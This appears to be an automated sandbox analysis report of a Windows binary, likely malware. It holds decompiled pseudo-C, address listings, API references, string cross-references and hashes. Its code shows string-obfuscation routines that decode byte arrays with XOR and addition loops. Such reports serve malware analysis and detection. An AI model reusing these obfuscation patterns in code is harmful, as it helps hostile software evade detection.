											 *((char*)(_t868 + 0x3a)) = 0xf9;
											 *((char*)(_t868 + 0x3b)) = 0xea;
											 *((char*)(_t868 + 0x3c)) = 0xbc;
											 *((char*)(_t868 + 0x3d)) = 0x38;
											 *((char*)(_t868 + 0x1c)) = 0xc8;
											 *((char*)(_t868 + 0x1d)) = 0xd3;
											 *((char*)(_t868 + 0x1e)) = 0xce;
											 *((char*)(_t868 + 0x1f)) = 3;
											 *((char*)(_t868 + 0x20)) = 0x22;
											 *((char*)(_t868 + 0x21)) = 0xd1;
											 *((char*)(_t868 + 0x22)) = 0xd3;
											 *((char*)(_t868 + 0x23)) = 0xf9;
											 *((char*)(_t868 + 0x24)) = 0x35;
											 *((char*)(_t868 + 0x25)) = 0xed;
											 *((char*)(_t868 + 0x26)) = 0x7a;
											 *((char*)(_t868 + 0x27)) = 0x23;
											 *((char*)(_t868 + 0x28)) = 0x4e;
											 *((char*)(_t868 + 0x29)) = 0xc8;
											_t709 = 0;
											do {
												 *((char*)(_t868 + _t709 + 0x30)) =  *((intOrPtr*)(_t868 + _t709 + 0x30)) +  *((intOrPtr*)(_t868 + _t709 + 0x1c));
												 *((char*)(_t868 + _t709 + 0x31)) =  *((intOrPtr*)(_t868 + _t709 + 0x31)) +  *((intOrPtr*)(_t868 + _t709 + 0x1d));
												_t709 = _t709 + 2;
											} while (_t709 < 0xe);
											if( *((intOrPtr*)(_t854 + 0x6c)) < 0x10) {
												_t710 = _t854 + 0x58;
											} else {
												_t710 =  *((intOrPtr*)(_t854 + 0x58));
											}
											 *0x431f14(_t868 + 0x1b0, _t868 + 0x34, _t710);
											_t868 = _t868 + 0xc;
											if(E0041BC30(_t868 + 0x1ac, _t862, _t868 + 0x1ac, lstrlenA(_t868 + 0x1a8)) == 0xffffffff) {
												goto L31;
											} else {
												goto L40;
											}
										}
									} else {
										goto L31;
									}
								}
							}
						} else {
							_push(lstrlenA(_t868 + 0x1a8));
							_push(_t868 + 0x1ac);
							_t747 = _t735;
							if(E0041BC30(_t723, _t747) == 0xffffffff) {
								L31:
								_t635 = 0;
							} else {
								goto L25;
							}
						}
						return E00424873(_t635,  *((intOrPtr*)(_t868 + 0x5a8)));
					} else {
						goto L4;
					}
				}
			}

0x0040c8e6
0x0040c8ee
0x0040c8f0
0x0040c8f7
0x0040c8fb
0x0040c900
0x0040c905
0x0040c90a
0x0040c90d
0x0040c910
0x0040c911
0x0040c915
0x0040c919
0x0040c91d
0x0040c91e
0x0040c922
0x0040c923
0x0040c935
0x0040c946
0x0040c948
0x0040c949
0x0040c94d
0x0040c954
0x0040c958
0x0040c963
0x0040c96e
0x0040c970
0x0040c977
0x0040c97f
0x0040c981
0x0040c98a
0x0040c9a1
0x0040c9b6
0x0040c98c
0x0040c98c
0x0040c992
0x0040c994
0x0040c99d
0x0040c9bf
0x0040c9c3
0x0040c9c6
0x0040c9c9
0x0040c9ca
0x0040c9cb
0x0040c9cc
0x0040ca70
0x0040ca72
0x0040ca77
0x0040ca7c
0x0040ca81
0x0040ca86
0x0040ca8b
0x0040ca90
0x0040ca95
0x0040ca9a
0x0040ca9f
0x0040caa4
0x0040caa9
0x0040cab0
0x0040cab0
0x0040cab5
0x0040cab6
0x0040cabe
0x0040cac5
0x0040cac0
0x0040cac0
0x0040cac0
0x0040cace
0x0040cad6
0x0040cadc
0x0040cadc
0x0040c9d2
0x0040c9d4
0x0040c9da
0x0040c9df
0x0040c9e4
0x0040c9e9
0x0040c9ee
0x0040c9f3
0x0040c9f8
0x0040c9fd
0x0040ca02
0x0040ca07
0x0040ca0c
0x0040ca11
0x0040ca16
0x0040ca1b
0x0040ca20
0x0040ca25
0x0040ca2a
0x0040ca30
0x0040ca30
0x0040ca35
0x0040ca36
0x0040ca3d
0x0040ca44
0x0040ca3f
0x0040ca3f
0x0040ca3f
0x0040ca4a
0x0040ca51
0x0040ca4c
0x0040ca4c
0x0040ca4c
0x0040ca56
0x0040ca56
0x0040ca63
0x0040ca69
0x0040ca69
0x0040c9d4
0x0040caeb
0x0040cb15
0x0040cb17
0x0040cb1e
0x0040cb30
0x0040cb37
0x0040cb3b
0x0040cb40
0x0040cb44
0x0040cb45
0x0040cb48
0x0040cb50
0x0040cb58
0x0040cb60
0x0040cb68
0x0040cb70
0x0040cb78
0x0040cb80
0x0040cb88
0x0040cb90
0x0040cb98
0x0040cba0
0x0040cba8
0x0040cbb0
0x0040cbb8
0x0040cbc0
0x0040cbc8
0x0040cbcf
0x0040cbd3
0x0040cbd8
0x0040cbdd
0x0040cbe2
0x0040cbe6
0x0040cbeb
0x0040cbf0
0x0040cbf5
0x0040cbfa
0x0040cbff
0x0040cc04
0x0040cc09
0x0040cc0e
0x0040cc13
0x0040cc18
0x0040cc1d
0x0040cc22
0x0040cc27
0x0040cc4b
0x00000000
0x0040cc51
0x0040cc51
0x0040cc5a
0x0040cce3
0x00000000
0x0040cc60
0x0040cc64
0x0040cc69
0x0040cc6e
0x0040cc73
0x0040cc78
0x0040cc7d
0x0040cc82
0x0040cc87
0x0040cc8c
0x0040cc91
0x0040cc98
0x0040cc93
0x0040cc93
0x0040cc93
0x0040cca9
0x0040ccaf
0x0040ccba
0x0040ccc0
0x0040ccda
0x0040ccea
0x0040ccef
0x0040cdf3
0x0040cdfb
0x0040d93f
0x0040d94b
0x0040d957
0x00000000
0x00000000
0x00000000
0x00000000
0x0040ce1d
0x0040ce2b
0x0040ce2f
0x0040ce3a
0x0040ce43
0x0040ce46
0x0040ce4d
0x0040ce54
0x0040ce5b
0x0040ce62
0x0040ce6a
0x0040ce72
0x0040ce7a
0x0040ce82
0x0040ce8a
0x0040ce92
0x0040ce9a
0x0040cea2
0x0040cea9
0x0040ceb1
0x0040ceb9
0x0040cec1
0x0040cec9
0x0040ced1
0x0040ced9
0x0040cee0
0x0040cee7
0x0040ceef
0x0040cef7
0x0040ceff
0x0040cf06
0x0040cf0d
0x0040cf15
0x0040cf1d
0x0040cf25
0x0040cf2d
0x0040cf35
0x0040cf3d
0x0040cf40
0x0040cf40
0x0040cf48
0x0040cf49
0x0040cf6f
0x00000000
0x0040cf75
0x0040cf83
0x0040cf88
0x0040cf8d
0x0040cf92
0x0040cf97
0x0040cf9c
0x0040cfa1
0x0040cfa6
0x0040cfab
0x0040cfb0
0x0040cfb5
0x0040cfba
0x0040cfbf
0x0040cfc4
0x0040cfc9
0x0040cfce
0x0040cfd3
0x0040cfd8
0x0040cfdd
0x0040cfe2
0x0040cfe7
0x0040cfec
0x0040cff1
0x0040cff6
0x0040cffb
0x0040d000
0x0040d005
0x0040d009
0x0040d00e
0x0040d013
0x0040d018
0x0040d01d
0x0040d022
0x0040d027
0x0040d02c
0x0040d031
0x0040d036
0x0040d03b
0x0040d040
0x0040d056
0x0040d062
0x0040d082
0x00000000
0x0040d088
0x0040d09d
0x0040d0a3
0x0040d0c3
0x00000000
0x0040d0c9
0x0040d0c9
0x0040d0d7
0x00000000
0x0040d0dd
0x0040d0f2
0x0040d0f8
0x0040d105
0x0040d10d
0x0040d10f
0x0040d118
0x00000000
0x0040d11e
0x0040d120
0x0040d127
0x0040d132
0x0040d139
0x0040d142
0x0040d149
0x0040d150
0x0040d157
0x0040d15e
0x0040d168
0x0040d16f
0x0040d176
0x0040d17d
0x0040d185
0x0040d18d
0x0040d195
0x0040d19d
0x0040d1a5
0x0040d1ad
0x0040d1b5
0x0040d1bd
0x0040d1c5
0x0040d1cd
0x0040d1d5
0x0040d1dd
0x0040d1e5
0x0040d1ed
0x0040d1f5
0x0040d1fd
0x0040d205
0x0040d20d
0x0040d215
0x0040d21d
0x0040d225
0x0040d22d
0x0040d235
0x0040d23d
0x0040d245
0x0040d24d
0x0040d255
0x0040d25d
0x0040d265
0x0040d26d
0x0040d275
0x0040d27d
0x0040d285
0x0040d28d
0x0040d295
0x0040d29d
0x0040d2a5
0x0040d2ad
0x0040d2b5
0x0040d2bd
0x0040d2c5
0x0040d2ca
0x0040d2cf
0x0040d2d4
0x0040d2d9
0x0040d2de
0x0040d2e3
0x0040d2e8
0x0040d2ed
0x0040d2f1
0x0040d2f6
0x0040d2fb
0x0040d300
0x0040d305
0x0040d30a
0x0040d30e
0x0040d313
0x0040d318
0x0040d31c
0x0040d321
0x0040d328
0x0040d32c
0x0040d330
0x0040d335
0x0040d33a
0x0040d33f
0x0040d344
0x0040d349
0x0040d34e
0x0040d353
0x0040d358
0x0040d35d
0x0040d362
0x0040d367
0x0040d36b
0x0040d370
0x0040d375
0x0040d37a
0x0040d37f
0x0040d384
0x0040d389
0x0040d38e
0x0040d393
0x0040d398
0x0040d39c
0x0040d3a1
0x0040d3a6
0x0040d3ab
0x0040d3b0
0x0040d3b5
0x0040d3ba
0x0040d3bf
0x0040d3c1
0x0040d3d5
0x0040d3e9
0x0040d3fd
0x0040d40a
0x0040d411
0x0040d414
0x0040d420
0x0040d42a
0x0040d422
0x0040d422
0x0040d422
0x0040d441
0x0040d447
0x0040d467
0x0040d486
0x0040d48a
0x0040d493
0x0040d49b
0x0040d49f
0x0040d4a3
0x0040d4a8
0x0040d4ad
0x0040d4b2
0x0040d4b7
0x0040d4bc
0x0040d4c1
0x0040d4c6
0x0040d4cb
0x0040d4d0
0x0040d4d5
0x0040d4da
0x0040d4df
0x0040d4e4
0x0040d4e9
0x0040d4ee
0x0040d4f3
0x0040d4f8
0x0040d4fd
0x0040d502
0x0040d507
0x0040d50c
0x0040d511
0x0040d516
0x0040d51b
0x0040d520
0x0040d525
0x0040d52d
0x0040d535
0x0040d53d
0x0040d545
0x0040d54d
0x0040d555
0x0040d55c
0x0040d561
0x0040d566
0x0040d56b
0x0040d570
0x0040d575
0x0040d57a
0x0040d57f
0x0040d584
0x0040d589
0x0040d58e
0x0040d593
0x0040d598
0x0040d59d
0x0040d5a2
0x0040d5a7
0x0040d5ac
0x0040d5b1
0x0040d5b5
0x0040d5ba
0x0040d5bf
0x0040d5c4
0x0040d5c9
0x0040d5ce
0x0040d5d3
0x0040d5d8
0x0040d5dd
0x0040d5e2
0x0040d5e7
0x0040d5ec
0x0040d5f1
0x0040d5f6
0x0040d5fb
0x0040d600
0x0040d604
0x0040d606
0x0040d614
0x0040d622
0x0040d630
0x0040d63e
0x0040d64c
0x0040d656
0x0040d65a
0x0040d65d
0x0040d679
0x00000000
0x0040d67f
0x0040d681
0x0040d688
0x0040d68f
0x0040d696
0x0040d69d
0x0040d6a4
0x0040d6ac
0x0040d6b4
0x0040d6bc
0x0040d6c4
0x0040d6cc
0x0040d6d4
0x0040d6dc
0x0040d6e4
0x0040d6ec
0x0040d6f4
0x0040d6fc
0x0040d704
0x0040d70c
0x0040d714
0x0040d71c
0x0040d724
0x0040d72c
0x0040d734
0x0040d73c
0x0040d744
0x0040d74c
0x0040d754
0x0040d75c
0x0040d764
0x0040d76c
0x0040d774
0x0040d77c
0x0040d784
0x0040d78c
0x0040d794
0x0040d79c
0x0040d7a4
0x0040d7ac
0x0040d7b4
0x0040d7bc
0x0040d7c4
0x0040d7cc
0x0040d7d4
0x0040d7db
0x0040d7e3
0x0040d7eb
0x0040d7f3
0x0040d7fb
0x0040d803
0x0040d810
0x0040d810
0x0040d818
0x0040d819
0x0040d825
0x0040d82f
0x0040d827
0x0040d827
0x0040d827
0x0040d846
0x0040d84c
0x0040d859
0x0040d861
0x0040d863
0x0040d86c
0x0040d87c
0x0040d882
0x0040d884
0x0040d88d
0x0040d8a9
0x0040d8aa
0x0040d8ac
0x0040d8b5
0x00000000
0x0040d8bb
0x0040d8bb
0x0040d8c1
0x0040d8c3
0x0040d8cc
0x0040d8ed
0x0040d913
0x0040d939
0x0040d95e
0x0040d961
0x0040d93b
0x0040d93b
0x0040d93b
0x0040d8ef
0x0040d8f5
0x0040d8fa
0x0040d8fa
0x0040d8ce
0x0040d8ce
0x0040d8d5
0x0040d8d5
0x0040d8cc
0x0040d88f
0x0040d88f
0x0040d896
0x0040d896
0x0040d86e
0x0040d86e
0x0040d875
0x0040d875
0x0040d86c
0x0040d469
0x0040d469
0x0040d478
0x0040d47d
0x0040d47d
0x0040d467
0x0040d118
0x0040d0d7
0x0040d0c3
0x0040d082
0x0040cf6f
0x0040ccf5
0x0040ccf5
0x0040ccfa
0x0040ccff
0x0040cd04
0x0040cd09
0x0040cd0e
0x0040cd13
0x0040cd18
0x0040cd1d
0x0040cd22
0x0040cd27
0x0040cd2c
0x0040cd31
0x0040cd36
0x0040cd3b
0x0040cd40
0x0040cd45
0x0040cd4a
0x0040cd4f
0x0040cd54
0x0040cd59
0x0040cd5e
0x0040cd63
0x0040cd68
0x0040cd6d
0x0040cd72
0x0040cd77
0x0040cd7c
0x0040cd81
0x0040cd83
0x0040cd91
0x0040cd9b
0x0040cd9f
0x0040cda2
0x0040cdab
0x0040cdb2
0x0040cdad
0x0040cdad
0x0040cdad
0x0040cdc3
0x0040cdc9
0x0040cded
0x00000000
0x00000000
0x00000000
0x00000000
0x0040cded
0x00000000
0x00000000
0x00000000
0x0040ccda
0x0040cc5a
0x0040caed
0x0040cafc
0x0040cb04
0x0040cb06
0x0040cb0f
0x0040ccdc
0x0040ccdc
0x00000000
0x00000000
0x00000000
0x0040cb0f
0x0040d978
0x00000000
0x00000000
0x00000000
0x0040c99d

APIs

lstrlenA.KERNEL32(?,73B76980,73B76980), ref: 0040C96E
lstrlenA.KERNEL32(?,?,?,00000002,?,00000000), ref: 0040CAE7
lstrlenA.KERNEL32(?), ref: 0040CAFA
lstrlenA.KERNEL32(00000000), ref: 0040CC34
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 0040CCBA
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 0040CDD4

Strings

d, xrefs: 0040D4A3
T, xrefs: 0040D295
<, xrefs: 0040D794
2, xrefs: 0040D344
<, xrefs: 0040D714
[, xrefs: 0040D4F3
i, xrefs: 0040D36B
!, xrefs: 0040D70C
<, xrefs: 0040D33A
f, xrefs: 0040D5EC
h, xrefs: 0040D7C4
+, xrefs: 0040CAA4
Z, xrefs: 0040D245
i, xrefs: 0040C9E4
m, xrefs: 0040CBD3
X, xrefs: 0040D7EB
!, xrefs: 0040D73C
0, xrefs: 0040D7A4
U, xrefs: 0040D810
:, xrefs: 0040CC6E
w, xrefs: 0040D7CC
F, xrefs: 0040D2CA
g, xrefs: 0040CD04
0, xrefs: 0040D6BC
', xrefs: 0040D5E2
8, xrefs: 0040D7B4
/, xrefs: 0040D022
., xrefs: 0040D3A6
7, xrefs: 0040D1BD
\, xrefs: 0040D5A2
n, xrefs: 0040D185
:, xrefs: 0040D71C
i, xrefs: 0040D1CD
(, xrefs: 0040D5F6
x, xrefs: 0040D6CC
&, xrefs: 0040D6FC
/, xrefs: 0040D5D8
X, xrefs: 0040C905
@, xrefs: 0040C9DA
:, xrefs: 0040D6F4
U, xrefs: 0040D7FB
5, xrefs: 0040CB70
w, xrefs: 0040D036
?, xrefs: 0040D25D
P, xrefs: 0040CC09
n, xrefs: 0040D5CE
8, xrefs: 0040CD22
_, xrefs: 0040D2BD
&, xrefs: 0040D6E4
c, xrefs: 0040D502
!, xrefs: 0040D774
k, xrefs: 0040C9E9
E, xrefs: 0040D265
P, xrefs: 0040D1B5
4, xrefs: 0040D7AC
6, xrefs: 0040D754
_, xrefs: 0040D7F3
j, xrefs: 0040CB78
3, xrefs: 0040D78C
x, xrefs: 0040D2E8
E, xrefs: 0040D520
9, xrefs: 0040CF8D
0, xrefs: 0040D7BC
', xrefs: 0040D55C
\, xrefs: 0040D018
&u#&, xrefs: 0040CA56, 0040CA5A
A, xrefs: 0040D2E3
Q, xrefs: 0040D5BF
u, xrefs: 0040D784
', xrefs: 0040D255
!, xrefs: 0040D6C4
9, xrefs: 0040D79C
x, xrefs: 0040D205
=, xrefs: 0040D75C
4, xrefs: 0040D5BA
!, xrefs: 0040D6B4
4, xrefs: 0040D74C
9, xrefs: 0040D4DF
o, xrefs: 0040D724
u, xrefs: 0040D72C
], xrefs: 0040C8FB
--%s--, xrefs: 0040D90D
", xrefs: 0040CD4F
5, xrefs: 0040D5B5
e, xrefs: 0040D28D
K, xrefs: 0040D24D
n, xrefs: 0040D77C
t, xrefs: 0040D235
w, xrefs: 0040D7E3
t, xrefs: 0040C9DF
Q, xrefs: 0040D584
3, xrefs: 0040D19D
q, xrefs: 0040CFAB
n, xrefs: 0040CBFF
8, xrefs: 0040D764
_, xrefs: 0040D2FB
`, xrefs: 0040CF92
_, xrefs: 0040CFC9
8, xrefs: 0040CD36
<, xrefs: 0040D6DC
:, xrefs: 0040CC13
4, xrefs: 0040D195
&, xrefs: 0040D7DB
4, xrefs: 0040D734
A, xrefs: 0040D384
<, xrefs: 0040D704
:, xrefs: 0040D6AC
1, xrefs: 0040D2D9
--%s, xrefs: 0040D097, 0040D0EC
0, xrefs: 0040D3BA
0, xrefs: 0040D76C
8, xrefs: 0040D275
W, xrefs: 0040D4F8
E, xrefs: 0040D2AD
!, xrefs: 0040D744
`, xrefs: 0040D575
>, xrefs: 0040D4FD
g, xrefs: 0040CBC0
%, xrefs: 0040D6EC
., xrefs: 0040D2F6
M, xrefs: 0040D30E
+, xrefs: 0040D3B5
%, xrefs: 0040D4C6
[, xrefs: 0040D23D
#, xrefs: 0040D1DD

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: lstrlen
String ID: !$!$!$!$!$!$"$#$%$%$&$&$&$&u#&$'$'$'$($+$+$--%s$--%s--$.$.$/$/$0$0$0$0$0$1$2$3$3$4$4$4$4$4$5$5$6$7$8$8$8$8$8$9$9$9$:$:$:$:$:$<$<$<$<$<$=$>$?$@$A$A$E$E$E$F$K$M$P$P$Q$Q$T$U$U$W$X$X$Z$[$[$\$\$]$_$_$_$_$`$`$c$d$e$f$g$g$h$i$i$i$j$k$m$n$n$n$n$o$q$t$t$u$u$w$w$w$x$x$x
API String ID: 1659193697-105764249
Opcode ID: b35511fe01f4e0871b148db96afeef540550a0b7ff31f66413c3e5b21d6e8589
Instruction ID: 74f1873f8cd111934f69c42be6836847ee8454db2c8cfe706337a543b5df0ca2
Opcode Fuzzy Hash: b35511fe01f4e0871b148db96afeef540550a0b7ff31f66413c3e5b21d6e8589
Instruction Fuzzy Hash: A9B2172110C7C1D9D332C738988878FBFD55BA7228F485B9EE1E85A2D2D7B98109C767

Uniqueness

Uniqueness Score: -1.00%

Function 00409119, Relevance: 187.5, Strings: 149, Instructions: 1210
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00409119(void* __eax, char __ebx, char __ecx, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, char _a372, char _a373, char _a374, char _a375, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a406, char _a407, char _a408, char _a416, char _a417, char _a418, char _a419, char _a420, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a433, char _a434, char _a435, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a449, char _a450, char _a451, char _a452, char _a456, char _a464, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, char _a496, char _a497, char _a498, char _a499, char _a500, char _a501, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a513, char _a514, char _a515, char _a516, char _a517, char _a520, char _a521, char _a522, char _a523, char _a524, char _a525, char _a526, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a553, char _a554, char _a555, char _a556, char _a557, char _a558, char _a560, char _a564, char _a565, char _a566, char _a567, char _a568, char _a569, char _a570, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a593, char _a594, char _a595, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a617, char _a618, char _a619, char _a620, char _a621, char _a622, char _a623, char _a624, char _a625, char _a626, char _a627, char _a628, char _a629, char _a630, char _a631, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a657, char _a658, char _a659, char _a660, char _a661, char _a662, char _a663, char _a664, char _a668, char _a669, char _a670, char _a671, char _a672, char _a673, char _a674, char _a675, char _a676, char _a680, char _a681, char _a682, char _a683, char _a684, char _a688, char _a689, char _a690, char _a691, char _a692, char _a693, char _a694, char _a695, char _a696, char _a704, char _a705, char _a706, char _a707, char _a708, char _a712, char _a713, char _a714, char _a715, char _a716, char _a717, char _a718, char _a719, char _a720, char _a721, char _a728, char _a729, char _a730, char _a731, char _a732, char _a733, char _a752, char _a753, char _a754, char _a755, char _a756, char _a757, char _a758, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a784, char _a785, char _a786, char _a787, char _a788, char _a789, char _a790, char _a791, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a808, char _a809, char _a810, char _a811, char _a812, char _a813, char _a814, char _a815, char _a816, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a844, char _a845, char _a846, char _a847, char _a848, char _a849, char _a850, char _a851, char _a852, char _a853, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t1007;
				signed int _t1008;
				void* _t1009;
				intOrPtr _t1014;
				intOrPtr _t1015;
				void* _t1016;
				void* _t1017;
				void* _t1018;
				void* _t1019;
				intOrPtr _t1021;
				void* _t1022;
				intOrPtr _t1023;
				void* _t1024;
				void* _t1025;
				void* _t1027;
				void* _t1028;
				void* _t1029;
				intOrPtr _t1030;
				void* _t1031;
				void* _t1034;
				void* _t1035;
				void* _t1036;
				void* _t1040;
				void* _t1044;
				intOrPtr _t1046;
				intOrPtr _t1047;
				void* _t1048;
				void* _t1049;
				void* _t1050;
				intOrPtr _t1052;
				intOrPtr _t1058;
				void* _t1059;
				void* _t1060;
				intOrPtr _t1061;
				void* _t1062;
				void* _t1063;
				void* _t1064;
				void* _t1065;
				intOrPtr _t1067;
				void* _t1068;
				void* _t1073;
				void* _t1076;
				void* _t1077;
				void* _t1078;
				void* _t1079;
				intOrPtr _t1082;
				void* _t1086;
				void* _t1088;
				intOrPtr _t1126;
				void* _t1166;
				void* _t1259;
				void* _t1262;
				void* _t1263;
				void* _t1265;
				void* _t1267;
				intOrPtr _t1268;
				intOrPtr _t1270;
				signed int _t1271;
				intOrPtr _t1273;
				void* _t1275;
				void* _t1276;
				void* _t1277;
				void* _t1278;
				void* _t1279;
				void* _t1280;
				void* _t1282;
				void* _t1283;
				void* _t1284;
				void* _t1285;
				void* _t1286;

				_t1007 = __eax;
				do {
					 *(_t1275 + _t1007 + 0x1c0) =  *(_t1275 + _t1007 + 0x1c0) ^  *(_t1275 + _t1007 + 0x17c);
					_t1007 = _t1007 + 1;
				} while (_t1007 < 5);
				_a552 = 0x3e;
				_a553 = 0x24;
				_a554 = 0x13;
				_a555 = 0xb8;
				_a556 = 0xa5;
				_a557 = 0xef;
				_a558 = 0xb3;
				_a380 = 0x35;
				_a381 = __ecx;
				_a382 = 0x50;
				_a383 = 0xbd;
				_a384 = 0xcd;
				_a385 = 0x76;
				_a386 = 0x4d;
				_t1008 = 0;
				do {
					 *((char*)(_t1275 + _t1008 + 0x228)) =  *((intOrPtr*)(_t1275 + _t1008 + 0x228)) +  *((intOrPtr*)(_t1275 + _t1008 + 0x17c));
					_t1008 = _t1008 + 1;
				} while (_t1008 < 7);
				_a668 = 0x21;
				_a669 = 0xb0;
				_a670 = 0x48;
				_a671 = 0x45;
				_a672 = 0x79;
				_a673 = 0xc0;
				_a674 = 0xe0;
				_a675 = 0x7f;
				_a676 = 0x3d;
				_a380 = 0x48;
				_a381 = 0xd3;
				_a382 = 0x3a;
				_a383 = 0x2a;
				_a384 = 0xa;
				_a385 = 0xaf;
				_a386 = 0x86;
				_a387 = 0xb;
				_a388 = 0x3d;
				_t1009 = 0;
				do {
					 *(_t1275 + _t1009 + 0x29c) =  *(_t1275 + _t1009 + 0x29c) ^  *(_t1275 + _t1009 + 0x17c);
					_t1009 = _t1009 + 1;
				} while (_t1009 < 9);
				_a680 = 0xfd;
				_a681 = 0xbf;
				_a682 = 0x39;
				_a683 = 0xaa;
				_a684 = 0xaa;
				_a380 = 0xaa;
				_a381 = 0xda;
				_a382 = 0x4a;
				_a383 = 0xde;
				_a384 = 0x96;
				_a68 = E004073E0( &_a380, 5,  &_a680);
				_push( &_a716);
				_t1259 = 6;
				asm("pushad");
				asm("popad");
				_a716 = 0xfd;
				_a717 = 0xfa;
				_a718 = 0xf2;
				_a719 = 0xc2;
				_a720 = 0x5c;
				_a721 = 0xa2;
				_a376 = 0xa2;
				_a377 = 0x24;
				_a378 = __ebx;
				_a379 = 0x9c;
				_a380 = 0x93;
				_a381 = 0x91;
				_t1014 = E004073E0( &_a376, _t1259);
				_push(5);
				_push( &_a728);
				_a104 = _t1014;
				_a728 = 0x90;
				_a729 = 0xec;
				_a730 = 0xd;
				_a731 = 3;
				_a732 = 3;
				_a733 = 0x7d;
				_a372 = 0x60;
				_a373 = 0xc;
				_a374 = 0x63;
				_a375 = 0;
				_a376 = 0x61;
				_a377 = 0xd;
				_t1015 = E00407370( &_a372);
				_t1276 = _t1275 + 8;
				_a72 = _t1015;
				_a448 = 0x27;
				_a449 = 0x70;
				_a450 = 0x19;
				_a451 = 0x4e;
				_a452 = 0xbb;
				_a372 = 0x49;
				_a373 = 0x15;
				_a374 = 0x6e;
				_a375 = 0x3d;
				_a376 = 0xbb;
				_t1016 = 0;
				do {
					 *(_t1276 + _t1016 + 0x1c8) =  *(_t1276 + _t1016 + 0x1c8) ^  *(_t1276 + _t1016 + 0x17c);
					_t1016 = _t1016 + 1;
				} while (_t1016 < 5);
				_a520 = 6;
				_a521 = 0x34;
				_a522 = 0xa9;
				_a523 = 0x5f;
				_a524 = 3;
				_a525 = 0x7d;
				_a526 = 0x83;
				_a380 = 0x68;
				_a381 = 0x5b;
				_a382 = 0xcb;
				_a383 = 0x30;
				_a384 = 0x67;
				_a385 = 4;
				_a386 = 0x83;
				_t1017 = 0;
				do {
					 *(_t1276 + _t1017 + 0x208) =  *(_t1276 + _t1017 + 0x208) ^  *(_t1276 + _t1017 + 0x17c);
					_t1017 = _t1017 + 1;
				} while (_t1017 < 7);
				_a488 = 0xea;
				_a489 = 0xeb;
				_a490 = 0xeb;
				_a491 = 0xea;
				_a492 = 0xe1;
				_a493 = 0x84;
				_t1018 = 0;
				do {
					 *(_t1276 + _t1018 + 0x1e8) =  *(_t1276 + _t1018 + 0x1e8) ^ 0x00000084;
